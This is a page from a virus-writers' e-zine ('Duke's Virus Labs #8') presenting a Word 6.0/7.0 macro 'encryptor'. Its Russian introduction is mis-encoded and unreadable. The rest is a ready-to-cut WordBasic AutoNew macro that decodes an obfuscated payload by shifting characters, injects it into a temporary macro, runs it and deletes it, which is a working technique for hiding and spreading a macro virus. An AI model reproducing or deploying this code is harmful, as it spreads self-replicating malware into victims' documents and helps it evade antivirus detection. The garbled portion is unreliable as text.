- [Duke's Virus Labs #8] - [Page 31] -

Macro Encryptor
(c) by Deviator/HAZARD

⮩ ( ) ஢騪  ᮢ  Word 6.0/7.0.
஢      ⥪ ⨪ !

室 樮  :

===== Cut here =====
Macro: AutoNew
Sub Main
A$ = "bq/\PX]" + Chr$(28) + "^}/T~/V~~/V~U~ps" + Chr$(28) + "Wtt/L/?" + Chr$(28) + "^]p|t3//L/Ux{t]p|t378" + Chr$(28) + "^\pr3//L/^]p|t3/:/1IP~]t1" + Chr$(28) + "]/L/R~}\pr~7?;/
r~]p|t37x;/?;/?8/L/1P~]t1/cwt}/Wtt/L/</@" + Chr$(28) + "]t/x" + Chr$(28) + "Xu/Wtt/L/?/cwt}/\pr~R~//^\pr3;/1P~]t1;/</@" + Chr$(28) + "Xu/Wt" + "t/L/</@/cwt}" + Chr$(28) + "/\pr~R~
U~|p/L/@" + Chr$(28) + "T}s/Xu" + Chr$(28) + "V~U~psI" + Chr$(28) + "T}s/bq" + Chr$(28)
z$ = ""
For i = 1 To Len(A$)
b = Asc(Mid$(a$, i, 1)) - 15
z$ = z$ + Chr$(b)
Next i
ToolsMacro .Name = "Temp", .Show = 1, .Edit
EditSelectAll : EditCut
Insert z$
DocClose 1
Temp
ToolsMacro .Name = "Temp", .Show = 1, .Delete
End Sub
===== Cut here =====
